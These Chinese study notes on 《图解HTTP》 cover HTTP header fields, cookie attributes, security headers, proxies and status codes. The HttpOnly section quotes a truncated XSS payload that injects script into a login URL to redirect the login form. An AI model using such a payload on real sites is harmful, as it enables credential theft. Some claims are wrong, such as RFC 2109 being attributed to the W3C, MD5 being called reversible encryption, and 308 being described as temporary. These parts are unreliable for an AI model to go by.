HTTP/1.1 的 Warning 首部是从 HTTP/1.0 的响应首部(Retry-After)演变过来的。


下面是对应的组成格式:


Warning: [警告码][警告的主机:端口号]“[警告内容]”([日期时间])
复制代码


在 HTTP1.1 中定义了 7 种警告码,警告码通常只能作为参考,之后可能进行扩展。


7.3 请求首部字段

请求首部是客户端传递给服务端的字段。


7.3.1 Accept(Accept: text/html,application/xhtml+xml,application/xml;q=0.)

首部字段可以 通知服务器,用户代理能够处理的媒体类型以及媒体类型相对优先级。


  • 文本文件

  • text/html, text/plain, text/css ...

  • application/xhtml+xml, application/xml ...

  • 图片文件

  • image/jpeg, image/gif, image/png ...

  • 视频文件

  • video/mpeg, video/quicktime ...

  • 应用程序使用的二进制文件

  • application/octet-stream, application/zip ...


案例:


比如使用 type/subtype 这种形式,一次指定多种媒体类型,通过q=?指定权重值,默认权重为 1,可以设置权重为三位小数。假设服务器可以一次性提供多种信息,会优先提供权重值最高的媒体类型数据。

7.3.2 Accept-Charset(Accept-Charset: iso-8859-5, unicode-1-1;q=0.8)

主要作用是用来通知服务器用户代理支持的字符集及字符集的相对优先顺序,与首部字段 Accept 相同的是,可用权重 q 值来表示相对优先级。


这个字段的主要作用是内容协商机制的服务器驱动协商

7.3.3 Accept-Encoding(Accept-Encoding: gzip, deflate)

主要作用是告知服务器用户代理支持的请求编码以及优先级顺序,支持一次性指定多级编码,编码的相关案例如下:


gzip:由文件压缩程序 gzip(GNU zip)生成的编码格式 (RFC1952),采用 Lempel-Ziv 算法(LZ77)及 32 位循环冗余 校验(Cyclic Redundancy Check,通称 CRC)。


compress:由 UNIX 文件压缩程序 compress 生成的编码格式,采用 Lempel-Ziv-Welch 算法(LZW)。


deflate:组合使用 zlib 格式(RFC1950)及由 deflate 压缩算法(RFC1951)生成的编码格式。


identity:不执行压缩或不会变化的默认编码格式。


注意也可以使用 q=?表示权重值,含义和 Accept 的效果一致,最后注意使用*号作为通配符。

7.3.4 Accept-Language(Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3)

主要作用是告知服务器用户代理支持的自然语言集以及优先级顺序,支持一次性指定多级语言级。


同样也可以使用 q=?表示权重值,按照支持语言排序返回最终支持的语言集即为结果。

7.3.5 Authorization(Authorization: Basic dWVub3NlbjpwYXNzd29yZA==)

和名字一样主要作用是告知服务器的用户认证信息,这个请求首部常常用于接口对接和开发,通常对于没有权限的用户会返回 401 的返回码,告知没有权限访问服务器。

7.3.6 Expect(Expect: 100-continue)

客户端告知服务器某种期望行为使用,但是如果服务器无法理解客户端回应的时候会返回 417 摆烂。客户端利用这个字段表明自己的期望。但是 HTTP1.1 实际上只指明了Expect: 100-continue,表示状态码响应为 100 的客户端需要指定这个字段。


417 表示期望失败


HTTP/1.1 协议里设计 100 (Continue) HTTP 状态码的的目的是,在客户端发送 Request Message 之前,HTTP/1.1 协议允许客户端先判定服务器是否愿意接受客户端发来的消息主体(基于 Request Headers)。


主要针对的情况是如果客户端要给服务器传递一个的数据包,但是如果服务器无法处理或者拒绝处理,这个字段类似提前做好通知。


这个字段的含义其实是让 HTTP1.X 加入了“状态”, 不过这种状态严格意义上不能算作标准,所以 HTTP1.X 依然是无状态的。

7.3.7 From

表示用户代理的邮件地址。注意有时候电子邮件地址因为代理的关系会被记录在 User-Agent 首部字段。

7.3.8 Host(Host: www.hackr.jp

Host 首部字段在 HTTP/1.1 规范内是唯一一个必须被包含在请求内的首部字段。


表示请求方所处的 IP 地址和端口号信息。


为什么必须要有 Host 首部?这和单台服务器分配多个域名的虚拟主机的工作机制有很密切的关联。

7.3.9 If-Match


这样带If前缀的请求首部字段,都是条件请求,服务器接收到附带条件之后需要判定为真才能执行请求。



如上图所示只有if-matchEtag值进行匹配的时候,服务器才会接受请求,如果不符合则返回 412 的响应状态码。另外可以使用星号忽略掉Etag的值,只要有资源就接受。

7.3.10 If-Modified-Since(If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT)

如果资源晚于这个字段指定的时间,则希望服务器可以处理资源请求,反之如果资源时间没有过变更则需要返回 304 的响应。


If-Modified-Since 用于确认代理或客户端拥有的本地资源的有效性

7.3.11 If-None-Match

If-Match刚好相反,只有在Etag值和If-None-Match的值不一样的时候才处理请求,这个方法的作用是在 GET 和 HEAD 请求中获取实时信息,类似首部字段 If-Modified-Since

7.3.12 Proxy-Authorization(Proxy-Authorization: Basic dGlwOjkpNLAGfFY5)

通过代理服务器返回过来的质询请求包含了客户端的认证,与客户端以及服务器之间的 HTTP 认证是类似的。

7.3.13 Range(Range: bytes=5001-10000)

首部 Range 可以告知服务器资源指定范围,上面的字节包含 5001 到 10000 字节的资源内容。


如果可以处理相关请求,则返回 206 Partial Content 的响应,如果不能则正常的返回 200。


206 Partial Content:服务器仅发送资源的一部分。

7.3.14 Referer(Referer: http://www.hackr.jp/index.htm

首部字段 Referer 会告知服务器请求的原始资源的 URI。


注意原始资源的 URL 可能包含 ID 和密码等一些敏感信息,如果写入到 Reffer 传给其他服务器有可能泄密。


Referer 的正确的拼写应该是 Referrer,原因大概是老美当初设计的时候觉得单词更加难读吧。

7.3.15 TE(TE: gzip, deflate;q=0.5)

表示服务器客户端能够处理响应的编码方式以及优先级,和 Accept-Encoding 字段类似,但是主要用于传输编码。还可以指定TE: trailers 进行分块传输编码。

7.3.16 User-Agent(User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;)

User-Agent 用于传达浏览器的种类,首部字段会把创建请求浏览器和用户代理信息传给服务器处理。

7.4 响应首部字段

​ 响应首部字段指的是从服务器端向客户端返回响应报文时使用的首部。


7.4.1 Accept-Ranges(Accept-Ranges: bytes)

当不能处理范围请求时,需要指定Accept-Ranges: none


主要告知客户端服务器能处理的请求范围,比如指定为 Byte 处理字节。

7.4.2 Age(Age: 600)

表示源服务器多久之前创建了响应,字段值为秒。如果创建响应式缓存服务器,则此时间为 Age 缓存之后响应再次发起认证到认证完成的时间。而代理服务器则需要加上首部字段 Age

7.4.3 ETag(ETag: "82e22293907ce725faf67773957acd12")

能告知客户端的负载标志,以一种可以将资源作为字符串形式的唯一标识方式。服务器会给给每个资源分配Etag,另外需要注意资源更新需要和Etag一样保持更新。


所以Etag被用来区分 URI 相同但是语言不同的访问区分不同的访问资源,另外Etag存在强弱之分,强Etag会在资源改动的时候立刻刷新,而弱Etag则在资源改变之后在资源头部加入W/的标识标识资源变更。

7.4.4 Location(Location: http://www.usagid...)

用于表示响应接收方引导到某个和请求 URL 位置不同的资源上面。同样会配合3xx Redirction 重定向返回,几乎所有的浏览器收到这个字段会尝试完成资源重定向的行为。

7.4.5 Proxy-Authenticate(Proxy-Authenticate: Basic realm="Usagidesign Auth")

首部字段Proxy-Authenticate 会通过代理服务器要求的认证信息发给客户端,注意和服务器以及客户端之间的 HTTP 访问认证不同,这是代理服务器和客户端之间的认证。

7.4.6 Retry-After(Retry-After: 120)

此字段表示多久之后可以进行请求重试,配合状态码 503 使用,或者配合 3XX Redirect 一起使用。字段值可以是数字也可以是具体的日期时间,也可以是创建响应之后的秒数。

7.4.7 Server(Server: Apache/2.2.17 (Unix))

告知客户端当前服务器的应用程序信息,可能包含软件版本号信息等。

7.4.8 Vary(Vary: Accept-Language)

表示指定资源请求的时候如果使用Accept-language字段的内容相同则直接从缓存返回响应,否则需要从源服务器仅限返回。


所以这个字段适用于控制缓存,源服务器会给代理服务器传递本地缓存使用方法和调用命令。


如果想要获取缓存则需要和包含Vary字段内容指定的请求才能获取,所以哪怕本次请求和上一次完全相同,请求只要 Vary 不一致,还是需要从源服务器获取。

7.4.9 WWW-Authenticate(WWW-Authenticate: Basic realm="Usagidesign Auth")

主要用于 HTTP 访问认证,告知客户端适用于访问请求指定资源的认证方式,如果返回 401 响应码,则此字段会一并进行返回。注意案例这里的Basic realm="Usagidesign Auth"用于指明资源受到的保护策略。


401 未授权:客户端访问请求的资源需要授权。响应内容中需要包含www-Authnticate 头信息和询问信息,如果已经存在证书访问还是 401 说明证书已经不被接受,如果 401 和前一个身份验证请求相同,并且浏览器进行了至少一次重试,则浏览器应该展示响应包含的实体信息(也就是诊断信息)。

7.5 负载首部字段

因为 HTTP2.0 新协议的缘故,这里更想要称之为负载首部,实体首部的概念已经被废弃。负载首部表明了实体内容的请求头部信息,可以认为是快递上面快递单的货物信息。


7.5.1 Allow(Allow: GET, HEAD)

​ 通知客户端指定资源所有的 HTTP 方法。如果不支持会返回 405 响应。


405 Method Not Allowed:服务器已接收并识别请求,但拒绝了特定的请求方法。该响应必须返回一个 Allow 头信息用以表示出当前资源能够接受的请求方法的列表。 对于一些修改服务器资源数据的请求方法比如 PUT 和 DELETE 通常不被允许。

7.5.2 Content-Encoding(Content-Encoding: gzip)

表明服务器使用的负载的主体部分的内容编码方式,并且在不丢失内容的前提下进行压缩。


主要支持的编码方式如下:


  • gzip

  • compress

  • deflate

  • identity

7.5.3 Content-Language(Content-Language: zh-CN)

告知客户端服务器使用的语言主体。

7.5.4 Content-Length(Content-Length: 15000)

告知实体主体部分大小(单位字节),但是一旦使用内容编码方式传输则不能使用此字段。


可参考 https://tools.ietf.org/html/rfc7231 的 4.4 了解编码格式的内容长度计算。

7.5.5 Content-Location(Content-Location: http://www.hackr.jp/index-ja.html

给出与报文负载部分相对应的 URI,这个字段表示的是报文负载返回资源对应 URI。


比如出现在 Accept-Language 字段实际的 URI 和返回的 URI 可能会不一样,则需要在此字段中标记。

7.5.6 Content-MD5(Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==)

客户端对于接受的报文负载内容进行 MD5 加密,目的是保证报文传输的时候保持完整性。


但是需要注意对于报文负载 MD5 加密之后还需要进行 Base64 加密,这是因为 HTTP 首部不能记录二进制的内容,当报文被接受之后同样使用 MD5 算法解密,并且对于负载内容校验完整 。


但是需要注意的是这个字段在校验完整性的同时是无法校验 MD5 加密是否被篡改的,所以安全性保证不佳。

7.5.7 Content-Range(Content-Range: bytes 5001-10000/10000)

告知客户端作为响应返回的负载哪个部分符合范围请求,告知哪一部分符合请求,字段值的单位为字节,表示当前发送部分以及整个实体大小。

7.5.8 Content-Type(Content-Type: text/html; charset=UTF-8)

说明了负载主体内对象的媒体类型,和首部字段 Accept一样,字段值用 type/subtype 形式赋值。


参数 charset 使用 iso-8859-1euc-jp 等字符集进行赋值。

7.5.9 Expires

首部字段 Expires 会将资源失效的日期告知客户端。如果不希望资源被缓存,则在首部字段里面和首部字段 Date 相同。


需要注意在 Cache-Control 指定 max-age 的指令时候,比起首部字段 Expires,会优先处理 max-age 处理

7.5.10 Last-Modified(Last-Modified: Wed, 23 May 2012 09:59:55 GMT)

Last-Modified 指明资源最终修改的时间, 实际通过Request-URI 指定资源被修改的时间。实际案例是在使用 CGI 进行动态数据处理的时候有可能改变这个时间。

7.6 Cookie 服务的首部字段

Cookie 虽然并不是 HTTP1.1 的规范,但是由于在 WEB 领域应用广泛。Cookie 的基本作用是保存用户的访问信息以及状态管理,同时把一些数据写入到客户端可以在下一次访问的时候简化用户操作同时可以减少服务端的一些压力。

7.6.1 Cookie(Cookie: status=enable)

这个首部字段会告知服务器想要获得 HTTP 状态支持管理,这时候请求的时候会包含多个 Cookie 同时可以按照 Cookie 发送。


对于正规发布的 Cookie 而言,由于可以校验有效期、发送方的域名和路径、协议信息等,所以不会受到外来攻击比较安全。


这里顺带说说 Cookie 的历史,Cookie 最初是由于网景公司开发并且制定标准的,但是在后续发展中出现了下面的协议规格:


  • 网景标准(实际标准)

  • 1994 年前后发布,目前普及的标准基本为这个时候的范本,网景的标准是由一个 24 岁的大神写的 5 页纸决定的,目前无法找到任何有关的规范链接,可以参考 RFC6265 看到一些最初的端倪。

  • RFC2109(搞事小弟 1 号)

  • 比较意外这是 W3C 发布的一项标准,本意是想要和网景制定的标准兼容(实则想要取代),但是因为标准过于严苛,同时很多服务实现方错误的实现这个标准,所以后来依然改回了网景的标准。

  • RFC 2109 - HTTP State Management Mechanism (ietf.org)

  • https://www.w3.org/Protocols/rfc2109/rfc2109.txt

  • RFC2965(搞事小弟 2 号)

  • RFC2965 定义了 Cookie2,并试图解决 RFC2109 关于 Cookie1 的缺点。RFC2965 目标在取代 RFC2109。

  • 发送 RFC2965 Cookie 的服务器除了使用 Set-Cookie 标头外,还将使用 Set-Cookie2 标头。注意 RFC2965 Cookie 对端口非常敏感。

  • RFC2965 可在 http://www.w3.org/Protocols/rfc2965/rfc2965.txt,但是实际上属于 W3C 黑历史被删除,

  • 最后通过:RFC 2965 - HTTP State Management Mechanism (ietf.org) 可以阅读了解

  • 然而不幸的是 W3C 还是没成功,因为基本没用多少服务器投入使用。

  • RFC6265:W3C 最后放弃了争夺标准,RFC6265 是按照网景的标准重新定义标准的产物,最终为业界事实标准。(继承大哥,统合一切)

  • 但是结果依然是没有采用 RFC 任何一个协议,网景公司的标准。

  • 从结果来看我们可以认为 RFC6265 是一个先实现后补写设计文档的一种标准,RFC6265 虽然并不是实际采用的标准,但是却是白皮书公开认可的标准规范,也就是从原本大家口头协商变成了白纸黑字的标准的区别。

  • RFC 6265 - HTTP State Management Mechanism (ietf.org)

  • 吐槽:所以符合市场的标准才能被大众接受,哪怕是 W3C 这样庞大的组织也无法撼动一个被认可的标准。


最后特别感谢一下 IETF,可以说是互联网的图书馆,也可以说是互联网发展的基石。另外 RFC 一些被 W3C 掩盖的黑历史也被找到了,哈哈。


IETF 是由网民自发组织,自我管理的,任何人都可以参加的,完全民主平等的,无投票机制的,充分体现了自由、开放、合作、共享的精神)里成立了特别工作小组。


Cookie 的首部字段样式如下:


7.6.2 Set-Cookie

基本的格式如下,在开始使用 Cookie 之前的一些准备操作:


Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 
复制代码


基本的字段属性如下:



expires 属性:发送 Cookie 的有效期,默认为会话为 Seesion 级别,也就是一次浏览器访问。另外需要注意 Cookie 一旦创建服务端就没办法随便删除,只能覆盖的方式改写客户端的 Cookie 信息。


path 属性:限制指定 Cookie 的发送范围目录,但是实际上有办法绕过这个限制,所以这个属性不是一个安全属性。


domain 属性:通过 domain 校验结尾匹配,实际上不指定这个属性更加安全,因为这个属性类似白名单允许多个 domain 访问。


secure 属性(Set-Cookie: name=value; secure):限制仅在 HTTPS 连接才发送 Cookie,是一种比较安全的属性,意味着当同样的域名在使用 HTTPS 的情况下会发送 Cookie,但是转为 HTTP 则不会覆盖客户端的 Cookie。另一方面不指定这个属性意味着不会发生回收行为。

7.6.3 HttpOnly 属性

介绍:属于 Cookie 本身的扩展功能,作用是防止 JS 脚本窃取 Cookie 信息,也就是防止 XSS 攻击。


声明方式:


Set-Cookie: name=value; HttpOnly
复制代码


通过这样的声明之后,JavaScriptdocument.cookie 就无法读取附加 HttpOnly Cookie 的内容了。


实际上 HttpOnly 这个扩展本意并不是为了防止 XSS 攻击发明的,但是后来作为缓解 XSS 攻击的一项重要手段被广泛采用。


XSS 攻击类似下面的脚本:


http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)
复制代码

7.6.4 Cookie(Cookie: status=enable)

首部字段 Cookie 会告知服务器,当客户端想获得 HTTP 状态管理支持时,就会在请求中包含从服务器接收到的 Cookie。Cookie 可以发送多个。

7.7 其他首部字段

其他首部字段也是 HTTP 对于开放扩展的支持,这些字段并不符合 WEB 的标准,需要交由实现方决定,但是使用频率并不低。

7.7.1 X-Frame-Options

此字段为响应首部的内容,主要作用是控制 Frame 标签显示内容,主要为了防止点击劫持的攻击方式。


可选内容有下面两项


  • DENY:拒绝

  • SAMEORIGIN:同源页面匹配许可。


主流浏览器基本已经支持这个字段,下面为 Apach 的一个参考:


<IfModule mod_headers.c>Header append X-FRAME-OPTIONS "SAMEORIGIN"</IfModule>
复制代码

7.7.2 X-XSS-Protection(X-XSS-Protection: 1)

首部字段 X-XSS-Protection 属于 HTTP 响应首部,主要作用是用于控制浏览器 XSS 防护机制的开关。


语法:


X-XSS-Protection: 0X-XSS-Protection: 1X-XSS-Protection: 1; mode=blockX-XSS-Protection: 1; report=<reporting-uri>
复制代码


标识解释:


  • 0:禁止 XSS 过滤。

  • 1:启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。

  • 1;mode=block,启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。

  • 1; report=<reporting-URI> (Chromium only),启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri (en-US)指令的功能发送违规报告。

7.7.2 DNT

DNT 属于 HTTP 请求首部,是 Do Not Track 的简 称,主要用于防止广告抓取个人信息。


首部字段 DNT 可指定的字段值如下。


  • 0 :同意被追踪

  • 1 :拒绝被追踪


这里介绍一个好用的谷歌插件“Ublock origin”,图标类似一个小红色盾牌。

最大特点可以利用 html 元素直接抹掉页面的广告信息过滤元素,非常好用。

7.7.3 P3P

P3P(The Platform for Privacy Preferences,在线隐私偏好平台)技术,通过这个首部可以把隐私信息变为仅应用程序识别的方式处理。


创建 P3P 的步骤如下:


步骤 1:创建 P3P 隐私。


步骤 2:创建 P3P 隐私对照文件后,保存命名在 /w3c/p3p.xml。


步骤 3:从 P3P 隐私中新建 Compact policies 后,输出到 HTTP 响应中。


关于 P3P 可以继续阅读下面的内容:


The Platform for Privacy Preferences 1.0(P3P1.0)Specification http://www.w3.org/TR/P3P/


X-前缀废弃:通过这个前缀来排查掉非标准参数,并且依次作为非标准参数的扩展,但是实际使用发现这样不仅导致命名混乱,还可能影响正常的通信,所以在后续的“RFC 6648 - Deprecating the "X-" Prefix and Similar Constructs in Application Protocols”废弃此用法。

7-2. HTTP 协作服务器

7.1 单台虚拟机多域名

HTTP1.1 支持服务器搭建多个站点,提供 WEB 托管服务, 而针对域名和 IP 的映射以及查找工作涉及到 DNS,域名需要通过 DNS 解析之后才能进行访问,当请求发送到服务器的时候使用的已经是 IP 的方式了。

7.2 通信转发程序

通信转发存在几个专业术语:代理、网关、隧道,下面一一区分他们的概念。


代理:代理扮演了服务端和客户端的“中间商”,代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理的作用通常是加快目标站点的访问加速或者作为跳板使用。


网关:专门负责转发其他服务器的通信数据的服务器,对于自己的位置类似传话筒,负责把一个服务器的“话”传给另一个服务器,所以发送请求的服务器本身也会被当作被转发的服务器。


隧道:保证距离很远的客户端和服务器中转的应用程序。

7.2.1 代理

代理主要的变动信息在 Via 首部信息,每次代理转发都需要在 Via 首部加入转发信息,具体添加信息如下:



对于代理按照是否修改报文和是否缓存数据,分为透明代理缓存代理


  • 透明代理:透明代理指的是不对请求报文做任何加工的代理方式。

  • 缓存代理:缓存代理通常存在于缓存服务器,代理转发响应之前先把数据缓存到缓存服务器,然后再进行返回到客户端。

7.2.2 缓存服务器

缓存服务器的作用是减轻服务器的负担,利用缓存可以避免同样的资源反复从源服务器进行返回,而可以直接从缓存服务器获取资源。这部分内容在《网络是怎么样连接的》这本书中有详细介绍。

7.2.3 隧道

隧道可按要求建立起一条与其他服务器的通信线路,届时使用 SSL 等 加密手段进行通信。


HTTP 之前出现的协议


  • FTP:比 TCP/IP 协议族的出现还要早,虽然被 HTTP 超越,但是目前还是还是广泛用于文件上传。

  • NNTP(Network News Transfer Protocol):用于 NetNews 电子会议室内传送消息的协议。

  • Archie:搜索 anonymous FTP 公开的文件信息的协议。

  • WAIS(Wide Area Information Servers):通过关键词检索多个数据库使用的协议。

  • Gopher:查找与互联网连接的计算机内信息的协议。

#tjhttp 四、《图解 HTTP》- 状态码

状态码章节内容过于贫乏,参考资料找了一个澳大利亚的博客,里面收录了 HTTP 的状态码介绍,为什么选这个作参考?一个是网站挺漂亮,另一个是做了一张长图容纳了常见的响应码,存到手机可以时不时看看,并且博客有做国际化,点进去自动就是中文(但是团队确实是外国人),挺有意思的。


另外需要注意汇总图是英文的,为了不丢失 HTTP 状态码的本意,建议先翻一翻 RFC 协议原文是如何定义的,通过网络查找国内几个点击率很高的比如菜鸟教程对比理解,个人并不建议完全看中文了解状态码含义,英文原文更加贴合定义本义同时里面还有一些小细节。


《图解 HTTP》所介绍的 HTTP1.1 版本均为 RFC 2616 的描述,很多内容其实已经过时或者直接废弃了!切记!


互联网的一手信息基本都是英文的,编程学习的深入总有一天要直面纯英文。

知识点

  1. 状态码定义的 IETF 协议规范,使用 RFC 7231 作为协议参考。

  2. 常见状态码定义,以及在 RFC 7231 中的协议定义参考

  3. 如何选择合适的状态码,这里仅介绍了 GET/POST/HEAD 三个最常用的状态码定义参考。

注意事项

查看具体内容之前,我们需要了解最早的正式 HTTP1.1 协议版本公认为 RFC 2616,但是后续出现了更多的修订版,补充了更多有关响应码和完善细节,比如现在的 HTTP1.1 早就是 RFC 723X 开头了。


另外为了方便读者了解协议原文,每一个大标题做了超链接,可以直接点击标题访问当前最新的协议网站。(部分博客平台 markdown 解析可能没法点击,在每一个标题开头也给了链接)


从协议发布节点来看,2014 年的 RFC723X 开头的协议可以认为是 HTTP1.1 的最后的更新版本。


本文介绍的状态码在 RFC2616 很多都是没定义的,RFC2616 很老了早就已经废弃了!


具体的内容见:


  • RFC2068:https://tools.ietf.org/html/rfc2068:过时的

  • RFC2616: https://tools.ietf.org/html/rfc2616:过时的

  • RFC7230: https://tools.ietf.org/html/rfc7230

  • RFC7231:https://tools.ietf.org/html/rfc7231

  • RFC7232: https://tools.ietf.org/html/rfc7232

  • RFC7233: https://tools.ietf.org/html/rfc7233

  • RFC7234: https://tools.ietf.org/html/rfc7234

  • RFC7235: https://tools.ietf.org/html/rfc7235

  • RFC7230:语法和路由

  • 语法:描述了一个 HTTP 请求或者响应长什么样。即第一行写什么怎么写、第二行写什么怎么写...

  • 路由:资源标识(URI)如何确定?通过什么方式获取到想要的内容?是直接从本地缓存获取?还是通过代理(Proxy)获取?还是直接请求?

  • RFC7231:语义和内容(最需要关注的内容,RESTful-like)

  • 各种请求方法(GET、POST、DELETE 等等)和请求头(Expect、Accept-Language、User-Agent 等等)表达了什么意图?

  • 响应体的状态(200 OK、201 Created、403 Forbidden 等等)和响应头(Location、Retry-After、Allow 等等)表达什么意思?

  • RFC7232:条件请求

  • 响应体告知客户端某些数据条件(Last-Modified、ETag 等等),客户端可以在下次请求的时候带上这些信息(If-Modified-Since、If-Match 等等)。在符合条件或者不符合条件的情况下,服务端应该如何处理;

  • RFC7233:范围请求

  • 由于各种因素而只得到部分响应的时候,发起范围请求以获取剩下的内容,避免从头请求而浪费资源;

  • RFC7234:缓存

  • 通过减少请求避免网络资源的浪费;

  • RFC7235:认证

  • 用户认证。Basic Auth、Token 等等。

4.1 状态码定义

  • 1XX:1XX 开头多为信息提示信息,几乎看不到使用场景,忽略即可。此外 1XX 的状态码并不会影响到 SEO 优化。

  • 2XX: HTTP 状态代码是成功请求。 比如 HTTP 200 OK 成功状态响应代码指示请求已成功。

  • 3XX:HTTP 状态代码指示重定向。 最常见的 3XX HTTP 状态代码包括“ 301 永久移动”,“找到 302”和“ 307 临时重定向” HTTP 状态代码。

  • 4XX 状态代码是客户端错误。 最常见的 4xx 状态代码是“ 404 未找到”和“ 410 消失” HTTP 状态代码。

  • 5XX HTTP 状态代码是服务器错误。 最常见的 5xx HTTP 状态代码是“ 503 服务不可用”状态代码。

常见状态码定义

1XX 请求几乎用不到,不需要了解,这里跳过。

4.1.1 2XX:请求成功

HTTP1.1 协议原文:


https://datatracker.ietf.org/doc/html/rfc7231#section-6.3


  • 200 OK:请求成功。

  • 201 Created:服务器确认创建的资源。 

  • 202 Accepted:客户端的请求已经收到请求,但服务器仍在处理它。

  • 203 Non-Authoritative Information:服务器发送给客户端的响应与服务器发送时的响应不同。

  • 204 No Content:服务器处理了请求但未提供任何内容。

  • 205 Reset Content:客户端应该刷新文档样本。

  • 206 Partial Content:服务器仅发送资源的一部分。

  • 207 Multi-Status:默认情况下,消息正文是 XML 消息,可以包含多个单独的响应代码。


案例:在此示例中,尝试删除 http://www.example.com/container/resource3 失败,因为资源被锁定了。


  >>Response
HTTP/1.1 207 Multi-Status Content-Type: application/xml; charset="utf-8" Content-Length: xxxx
<?xml version="1.0" encoding="utf-8" ?> <d:multistatus xmlns:d="DAV:"> <d:response> <d:href>http://www.example.com/container/resource3</d:href> <d:status>HTTP/1.1 423 Locked</d:status> <d:error><d:lock-token-submitted/></d:error> </d:response> </d:multistatus>
复制代码


  • 208 已报告:a 的成员 WebDAV的 绑定已经在(多状态 )响应的前一部分中被枚举,并且不再被包括在内。


WebDAV:是一个数字信息管理系统。 它是一个管理和共享在线文件的平台,非常适合在线应用程序和社交网站。 WebDAV 允许存储、管理和与其他 Web 用户共享更新和文件。 还可以在计算机和设备之间共享文件。

4.1.2 3XX:重定向

HTTP1.1 协议原文:


https://datatracker.ietf.org/doc/html/rfc7231#section-6.4


如果用户访问到 3XX 开头的代码,则会被浏览器重定向到不同的 URL。注意这种返回码对于 SEO 优化影响比较大。


注意:当且仅当第二个请求中使用的方法是 GET 或 HEAD。客户端应该检测无限重定向循环,因为这样的循环会为每个重定向生成网络流量。


在规范当中建议重定向次数最多不超过 5 次。


下面是一些常见的 3XX 状态码。


  • 300 多项选择:客户端发出的请求有多种可能的响应。

  • 301 永久移动:服务器告诉客户端他们寻找的资源已被永久移动到另一个 URL。 所有用户和机器人都将被重定向到新的 URL。 这是 SEO 的一个非常重要的状态代码。

  • 302 临时转移:网站或页面资源已暂时移至不同的 URL。 这是另一个与 SEO 相关的状态代码。另外收到 302 和 301 的时候不允许客户端改变重定向请求方法。另外服务端通常会把 302 请求当做是 303 进行响应,对于 Location 字段发起 GET 请求。(SEO 优化)只有在 Cache-Control 或 Expires 中进行了指定的情况下,这个响应才是可缓存的。

  • 303 查看其他:此代码告诉客户端服务器不是将它们重定向到请求的资源,而是重定向到另一个页面。

  • 304 Not Modified:请求的资源自上次传输后没有改变。如果使用强缓存校验器,则响应不能包含实体标头,如果 304 响应没用指示条件情况下则进行重复请求,如果 304 响应包含缓存条目,则同样需要按照缓存条目更新到本地。

  • 305 使用代理:客户端只能通过响应中提供的代理访问请求的资源。305 请求必须生成自原始服务器。(已废弃)

  • 307 临时重定向:服务器告诉客户端他们寻找的资源已经被临时重定向到另一个 URL。 它与 SEO 性能有关。除非请求方法是 HEAD,否则响应应该包含一个带有超链接的简短超文本注释。

  • 308 永久重定向:服务器告诉客户端他们寻找的资源已经被临时重定向到另一个 URL。

4.1.3 4XX:客户端错误

HTTP1.1 协议原文:


https://datatracker.ietf.org/doc/html/rfc7231#section-6.5.1


  • 400 错误请求:客户端发送的请求包含不完整的数据、构造不良的数据或无效的数据。

  • 401 未授权:客户端访问请求的资源需要授权。响应内容中需要包含 www-Authnticate 头信息和询问信息,如果已经存在证书访问还是 401 说明证书已经不被接受,如果 401 和前一个身份验证请求相同,并且浏览器进行了至少一次重试,则浏览器应该展示响应包含的实体信息(也就是诊断信息)。

  • 403 Forbidden:客户端尝试访问的资源被禁止。和 401 的区别是不提供任何身份认证的帮助,也不允许重复提交,服务端有义务声明不能访问的理由。

  • 404 未找到:服务器可访问,但客户端查找的特定页面不可访问或者资源不存在。服务可以利用这个状态码暴露自己服务存在的同时不想暴露“资源存在”。

  • 405 Method Not Allowed:服务器已接收并识别请求,但拒绝了特定的请求方法。该响应必须返回一个 Allow 头信息用以表示出当前资源能够接受的请求方法的列表。对于一些修改服务器资源数据的请求方法比如 PUT 和 DELETE 通常不被允许。

  • 406 不可接受:网站或 Web 应用程序不支持具有特定协议的客户端请求。请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。

  • 407 需要代理身份验证:此状态代码类似于 401 未授权。 唯一的区别是授权需要由代理完成。

  • 408 请求超时:客户端向网站服务器发送的请求已过期。客户端可以随时再次提交这一请求而无需进行任何更改。

  • 409 冲突:发送的请求与服务器的内部操作发生冲突。注意只有在客户端具备自身处理能力,比如重新提交请求的前提下才能返回此状态码,响应信息中也需要提供冲突的源头内容。此外 冲突通常会发生在 PUT 请求当中,在使用版本检查的情况下,如果某次请求附带的版本信息和之前的内容冲突,就会返回此响应码。

  • 410 Gone:客户端想要访问的资源已被永久删除。主要用于服务端想要删除某个资源并且告知用户此资源不再接受访问的一种提示。注意这个状态码很像 404,最大的区别是资源是否永久不存在


不常见的 HTTP 4XX 状态码


用的比较少,遇到了再来查询即可。


  • 402 需要付款

  • 412 失败预处理

  • 415 不支持的媒体类型

  • 416 请求的范围不满足。请求的 Range 标头字段中没有一个范围与所选资源的当前范围重叠,或者由于无效范围或对小范围或重叠范围的请求过多而拒绝了请求的范围集。

  • 417 期望失败

  • 422 不可处理的实体

  • 423 锁定

  • 424 失败的依赖

  • 426 需要升级

  • 429 请求过多

  • 431 请求头字段太大

  • 451 因法律原因不可用

4.1.4 5XX:服务端错误

HTTP1.1 协议原文:


https://datatracker.ietf.org/doc/html/rfc7231#section-6.6.1


5XX 开头的状态码通常为服务器错误,表明客户端发送的请求没有问题,但是服务器不能正常处理请求。


  • 500 内部服务器错误:服务器在处理客户端请求时遇到无法处理的情况。注意这是一个笼统的错误,并不知道错误的具体原因。

  • 501 未实现:服务器不知道或无法解析客户端发送的请求方法。

  • 502 错误网关:服务器充当网关或代理并从入站服务器收到无效消息。

  • 503 服务不可用: 服务器可能已关闭 并且无法处理客户的请求。 此 HTTP 状态代码是您在 Web 上可能遇到的最常见的服务器问题之一。

  • 511 需要网络身份验证:客户端需要在网络上进行身份验证才能访问资源。


其他不太常见的 5XX HTTP 状态代码包括:


  • 504 网关超时:服务器充当网关或者代理的时候,没有收到响应。和 408 的区别是 408 是服务端接受客户端超时,504 是代理接收服务端超时。

